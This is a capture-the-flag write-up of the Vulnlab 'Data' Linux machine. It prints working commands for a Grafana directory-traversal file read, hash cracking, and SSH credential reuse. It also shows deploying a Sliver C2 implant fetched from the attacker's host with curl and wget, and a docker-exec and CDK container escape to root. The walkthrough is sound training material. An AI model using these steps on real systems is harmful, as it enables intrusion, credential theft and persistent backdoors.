6 minutes
Vulnlab - Data
Data
Source: Vulnlab
Type: Linux
Difficulty: Easy
Key Concepts: Service Vulns, Directory Traversal, Docker Escape
Starting Out
Starting up the machine, we get an IP address of 10.10.92.63
. Running a quick nmap 10.10.92.63 -Pn
(using the -Pn
flag to skip ping checks because we know the machine is up) gets the following output:
Nmap scan report for 10.10.92.63
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
SSH won’t be very useful without creds, but the open TCP 300 port seems interesting. Despite Nmap claiming the service is ppp
, this is just a scanning error: opening 10.10.92.63:3000
in a web browser shows a Grafana login page.
Getting User
Trying default combinations like admin/admin
doesn’t seem to work, but the service version is shown at the bottom of the page. Running searchsploit
, it looks like Grafana 8.3 and earlier are vulnerable to a directory traversal attack.
$ searchsploit grafana
------------------------------------------ ------------------------------
Exploit Title | Path
------------------------------------------ ------------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and A | multiple/webapps/50581.py
Grafana <=6.2.4 - HTML Injection | typescript/webapps/51073.txt
------------------------------------------ ------------------------------
This writeup from a similar HackTheBox challenge demonstrates the traversal: by running a curl
command and forcing literal path completion, we can access arbitrary files on the system. However, we aren’t able to list the files, so we have to do some blind guessing.
First, let’s get the passwd
file:
$ curl --path-as-is curl --path-as-is http://10.10.92.63:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
This confirms that the exploit works, but passwd
isn’t enough to get us in. Searching the Internet, we find that Grafana stores its database at /var/lib/grafana/grafana.db
. We can dump this with another curl
command:
$ curl --path-as-is curl --path-as-is http://10.10.92.63:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db > grafana.db
We can verify that this is a database with the file
command:
$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 344, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 344
Opening the file with DB Browser, it’s easy to see that the users
table contains login information and hashed passwords with salts:
To crack these hashes, they need to be in a format that an application like Hashcat can read. Thankfully, someone has already made a script for this purpose. Running the hashes through Grafana2Hashcat
, we can start cracking them with a wordlist like rockyou.txt
.
$ hashcat -m 10900 ~/Documents/Vulnlab/Machines/Data/out --wordlist rockyou.txt
This fails to find the admin
hash, but identifies the password for boris
as beautiful1
":
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
Knowing that the machine is running SSH, the first step is to check for credential reuse:
$ ssh boris@10.10.92.63
boris@10.10.92.63's password:
boris@ip-10-10-10-11:~$
boris@ip-10-10-10-11:~$ ls
snap user.txt
boris@ip-10-10-10-11:~$ cat user.txt
boris@ip-10-10-10-11:~$ VL{redacted}
And we have user! After getting access, we have two main objectives:
- Establish persistence
- Escalate our privileges
Objective 1: Establish Persistence
We will use the Sliver command and control (C2) tool to control the machine.
Setting up Sliver
On our host machine, we can generate a Linux implant with generate --mtls [our IP address] --os linux
- this file is piece of malware that will run on the remote server and call back to our C2 server. We use the mTLS
protocol because it encrypts all of our communications, unlike raw HTTP. If we’re not concerned about scanning and want to save space, we can use the --skip-symbols
flag to disable obfuscation.
sliver > generate --mtls 10.8.3.175 --os linux --skip-symbols
[*] Generating new linux/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /home/kali/DESPERATE_CHIPMUNK
Activate Listener
To receive the connection from the remote machine, we need to run a listener for mTLS
traffic.
sliver > mtls -L 10.8.3.175
[*] Starting mTLS listener ...
[*] Successfully started job #1
Host Local Webserver
Next, to get the implant onto the machine, we run python3 -m http.server
from its directory. This will let the remote machine curl
the file.
Once we get the file with curl http://10.8.3.175:8000/DESPERATE_CHIPMUNK > implant
, we just use chmod +x implant
to make it executable, and run it with the &
option to generate a background task:
boris@ip-10-10-10-11:~$ ./implant &
Now, we can perform all necessary connections, file transfer, etc. to the remote machine over our Sliver C2 server.
Objective 2: Escalate Privileges
The first step to take on a remote Linux environment as user is to run the LinPEAS script. This script automatically checks for privilege escalation routes and reports findings based on severity. To get the script from our computer to the remote machine, we simply run upload linpeas.sh
from our running Sliver session.
In this case, LinPEAS
finds one critical vulnerability - the boris
user account may run docker exec
as root with no password required.
User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec
Researching this vulnerability shows that we need a container to run commands against - but we can’t list the running containers:
boris@ip-10-10-10-11:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied
We have to find a Docker process ID another way: why not just search the entire filesystem for “docker”? We can do this with find ./ | grep docker
while in the root directory.
Scrolling through the resulting list, several entries have the Grafana Docker ID in them, ex:
./sys/fs/cgroup/memory/docker/e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81/memory.use_hierarchy
e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81
is the ID.
Now that we have the ID, we can spawn a root shell inside the container:
boris@ip-10-10-10-11:/$ sudo /snap/bin/docker exec -it -u root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
bash-5.1#
bash-5.1# whoami
root
After accessing the container, the first step is to drop another Sliver implant. It’s best practice to always start two implants for redundancy.
bash-5.1# wget http://10.8.3.175:8000/DESPERATE_CHIPMUNK
Connecting to 10.8.3.175:8000 (10.8.3.175:8000)
saving to 'DESPERATE_CHIPMUNK'
'DESPERATE_CHIPMUNK' saved
bash-5.1# ls
bash-5.1# chmod +x DESPERATE_CHIPMUNK
bash-5.1# ./DESPERATE_CHIPMUNK &
[1] 48
bash-5.1# ./DESPERATE_CHIPMUNK &
[2] 51
bash-5.1#
After that, it’s time for more automated scanning. This time, we can use CDK for container penetration testing. Like with LinPEAS, we just upload it to the remote machine via Sliver, make it executable, and run it. eva
stands for Evaluate, and tells the tool to scan, --full
scans everything.
bash-5.1# ./cdk_linux_amd64 eva --full
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
The first identified vulnerability, CAP_DAC_READ_SEARCH enabled
, will allow us to read arbitrary files from the host, and potentially get a root shell. We can execute the command directly:
bash-5.1# ./cdk_linux_amd64 run cap-dac-read-search /
bash-5.1# ./cdk_linux_amd64 run cap-dac-read-search /
Running with target: /, ref: /etc/hostname
executing command(/bin/bash)...
root@e6ff5b1cbc85:/#
And we have root!
root@e6ff5b1cbc85:/# cat /root/root.txt
VL{redacted}
Conclusion
This was my first full box, and I enjoyed the progressive challenge of solving each step. For future boxes, I definitely want to learn more about how to leverage Sliver for exploits. I’m also working on a script to automatically pull the critical vulnerabilities from LinPEAS.